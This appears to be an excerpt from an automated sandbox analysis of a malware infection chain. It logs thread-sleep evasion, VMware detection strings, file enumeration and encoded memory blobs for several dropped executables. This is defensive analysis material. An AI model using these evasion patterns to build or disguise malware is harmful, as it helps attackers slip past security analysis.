Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 5804	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 2756	Thread sleep count: 1326 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 2756	Thread sleep time: -2653326s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7508	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7508	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5600	Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5600	Thread sleep time: -98049s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5776	Thread sleep count: 944 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5776	Thread sleep time: -28320000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8068	Thread sleep count: 120 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8068	Thread sleep time: -240120s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8128	Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8128	Thread sleep time: -222111s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7916	Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7916	Thread sleep time: -222111s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5012	Thread sleep count: 108 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5012	Thread sleep time: -216108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5100	Thread sleep count: 100 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 5100	Thread sleep time: -200100s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8072	Thread sleep count: 112 > 30
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 8072	Thread sleep time: -224112s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8056	Thread sleep count: 33 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8056	Thread sleep time: -33000s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8416	Thread sleep count: 37 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8416	Thread sleep time: -74037s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8420	Thread sleep count: 40 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8420	Thread sleep time: -80040s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8436	Thread sleep count: 2567 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8436	Thread sleep time: -5136567s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8424	Thread sleep count: 2264 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8424	Thread sleep time: -4530264s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5808	Thread sleep count: 163 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5808	Thread sleep count: 119 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8440	Thread sleep count: 36 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8440	Thread sleep time: -72036s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8444	Thread sleep count: 35 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8444	Thread sleep time: -70035s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8432	Thread sleep count: 2236 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8432	Thread sleep time: -4474236s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8428	Thread sleep count: 2236 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8428	Thread sleep time: -4474236s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8544	Thread sleep count: 47 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8544	Thread sleep time: -94047s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8548	Thread sleep count: 56 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8548	Thread sleep time: -112056s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8564	Thread sleep count: 4717 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8564	Thread sleep time: -9438717s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8568	Thread sleep count: 53 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8568	Thread sleep time: -106053s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5752	Thread sleep count: 39 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8556	Thread sleep time: -56028s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8560	Thread sleep count: 4830 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8560	Thread sleep time: -9664830s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2740	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8516	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe TID: 3896	Thread sleep count: 830 > 30
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe TID: 3896	Thread sleep time: -24900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe TID: 8268	Thread sleep time: -720000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8344	Thread sleep count: 75 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8344	Thread sleep time: -150075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8348	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8348	Thread sleep time: -138069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8332	Thread sleep count: 2276 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8332	Thread sleep time: -4554276s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8204	Thread sleep count: 210 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8324	Thread sleep count: 2299 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8324	Thread sleep time: -4600299s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8320	Thread sleep count: 2268 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8320	Thread sleep time: -4538268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8328	Thread sleep count: 2284 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8328	Thread sleep time: -4570284s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8336	Thread sleep count: 74 > 30
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe TID: 8336	Thread sleep time: -148074s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe TID: 7472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe TID: 8996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9036	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9040	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9028	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8968	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9048	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9044	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8968	Thread sleep count: 134 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9032	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9052	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 9056	Thread sleep time: -48024s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9204	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9204	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -599675s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -597269s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -596933s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8744	Thread sleep time: -900000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -596417s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -596128s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -595880s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -595737s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -595611s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -595269s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -592613s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -592174s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -591863s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -591362s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -588551s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -587988s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -587538s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -587006s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -586598s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -584013s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -583347s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -582588s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -579810s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -579036s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -578371s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -574082s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -573153s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -572475s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -571559s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -570854s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -570174s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -569384s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -568678s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -291318s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008A33B0 FindFirstFileA,FindNextFileA,	9_2_008A33B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008C3B20 FindFirstFileA,FindNextFileA,SetFileAttributesA,RemoveDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	9_2_008C3B20
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00811F8C FindFirstFileExW,	9_2_00811F8C

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

9_2_008BD2B0

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599675
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596417
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595611
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 592613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 592174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 591863
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 591362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 588551
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 587006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 586598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 584013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 583347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 582588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 579810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 579036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 578371
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 574082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 573153
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 572475
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 571559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 570854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 570174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 569384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 568678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 291318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: d361f35322.exe, 00000024.00000003.2762447424.0000000001447000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JwZo/8MwiwHqIvXEAOVpRY7WnVBhrODe/dgRQYX3uczos12TJGMgUcbRf8jrvikd/VczY83oKOZAMzqKgTejI6EDzeg4bDERNuftnqULxoXXPfG6v9krfDbdf0XoQLjCXaLpea2NXecnZXJn9gK/7u4bACHwMWEsF/+YMF5I4GPCRFLE5FKoUgv0RsC+xv1D14mzjXDWhOP4HkVDCCuw0TOg7ZoSe+IcDxF44hzPxp84JxATeOKcTI44gBz6tsBxz8kV3Mr9ySGQd6AQBIufA8mBljGr2c5LvboJrUlkjspoX0E2zmf8Wi7uCKu66bwVcqk7OT/SRzGzI8Fb4KGABhhMsrgTyXTudeKduS4BCrZLqtu5HCGjWWcBWT2zygyOzYKzWCB4Jda5PJQz8Bg1lJo/Rg0HDTxGjUQV41HdqVdyXOqVkn1e8dO8sqbbOolfg2AmVM0VryhWWcGcYcoKpvYpKwQ0TFnhqGI8amAyr3+9rX+lgDhnc2WN9VR7E/PZPX17mOSQ+bU93mgEU2hPoeE4CGTPhOwddnXof5xFfl5co7tcTE3iOHouxpfJr06qt2mtqWrYr3D+gjeU0Eqvi09rsYc3LTTeHa+hFdn7HjKUcFxD7a0pHdlY9wZ6cvN0VG0ObsC25C2riwgNYAv7HbHjH6+S+pQT0NqEUKNKMPsnM9F0i4ZT0ONhHH4K0iLOkQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001466000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Dk&Ven_VMware&P
Source: file300un.exe, 00000032.00000002.7140120246.000001F380020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: MPGPH131.exe, 0000001B.00000003.3206691270.0000000008155000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRMJkjIDr7NVw3n
Source: d361f35322.exe, 00000009.00000003.2770271909.0000000007DE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Jyvdtmr1hw59RWhOyj3UwXomWVCjPU7iAAL3c3FM/H4uVkTgfi6JDDGxDHp+kienAUWJPz/5wh5QcXDIQ1X87mrROIM4IUVCE3UDPzNoQLyeuBsPKfj/TYFb7dkFGQ81dvc+p2qwlquNa2jOGVakMyBrCzkDewYOfdUIh11p6F0oHLCv0NsUS8ZY0jRw/DbooNsRTP2BK6h19WUpMOHvFoPCoDZ8IHMFpXh5CkwG9JydFEPceTHosUyRBi3zBBD/g3Tf32Gl12xC0+pPlLOaaUEZlZ24Pk/SaIIhkdqTYwT6QCTg430gkggK9IFIKEkcRJI7aibSMB2273edRTAMtKguoOZT16EdFeM2cGv/kop+mkMbFyvPrrvz2eFwokISoqKb6FZwS5/IE3CDEHCXZrZh8FjkGUVw3QLPKIJJ+TOKELjAM4pwPDEGj5qybAdY4Rzc/yYNjtjMq2jfPW5A2RMIY9QTUfNYNAem506IjgnR9Nz50Cmv7uO43VloogiHSRaaSCguC00clhiJFRwt+xPvfnKv8JZ0f+dNwvWzS2+SeuLRnowD0yCtF/0zjxjPGOgUEUbMO0WEQgY6RURhirGY7u1EngXnp91Tsk92fomEE6UwZzVFRyo54VfJ9TyRJwZo/8MwiwHqIvXEAOVpRY7WnVBhrODe/dgRQYX3uczos12TJGMgUcbRf8jrvikd/VczY83oKOZAMzqKgTejI6EDzeg4bDERNuftnqULxoXXPfG6v9krfDbdf0XoQLjCXaLpea2NXecnZXJn9gK/7u4bACHwMWEsF/+YMF5I4GPCRFLE5FKoUgv0RsC+xv1D14mzjXDWhOP4HkVDCCuw0TOg7ZoSe+IcDxF44hzPxp84JxATeOKcTI44gBz6tsBxz8kV3Mr9ySGQd6AQBIufA8mBljGr2c5LvboJrUlkjspoX0E2zmf8Wi7uCKu66bwVcqk7OT/SRzGzI8Fb4KGABhhMsrgTyXTudeKduS4BCrZLqtu5HCGjWWcBWT2zygyOzYKzWCB4Jda5PJQz8Bg1lJo/Rg0HDTxGjUQV41HdqVdyXOqVkn1e8dO8sqbbOolfg2AmVM0VryhWWcGcYcoKpvYpKwQ0TFnhqGI8amAyr3+9rX+lgDhnc2WN9VR7E/PZPX17mOSQ+bU93mgEU2hPoeE4CGTPhOwddnXof5xFfl5co7tcTE3iOHouxpfJr06qt2mtqWrYr3D+gjeU0Eqvi09rsYc3LTTeHa+hFdn7HjKUcFxD7a0pHdlY9wZ6cvN0VG0ObsC25C2riwgNYAv7HbHjH6+S+pQT0NqEUKNKMPsnM9F0i4ZT0ONhHH4K0iLOkQ+ptqEq0HRdBaJVFho0AvqstqJ34CR2TTVURHTY1TUmlt0dI7LXcHzzF9yfql/YAw6y7rQAN4mT6KSsNSB268R9S0jYt4RkfcsbwCi8b/me+Id1GWEHfcsbCyywb3nLGt63vEoK6zPCwH1LiO1bQmzfEpL0LSG8bwlRfUuI6Ft4qrK34myq2u1Ou91pp93JdVAzExFYJ6xLBQXWCaONCqwThe8NrBOKH/X+ObCnB79/DiSNfv8ciu5//xyMHu7TFz76gnz6wqmjfPqiZXh9+iJkRIRECRvxgSFRwogjQ6JESfCFRAmVEB4wIsmkFRQwIglfVMCIpHK9ASMSyQ2Pxhk43wZF4wwkjIrGGYrsjcYZjBw+VsJn/6CxEk4dNVaiZXjHSoSM8Mk2bMkJmmzDaKMm2yh872Qbin/Jia+RtPj9FRM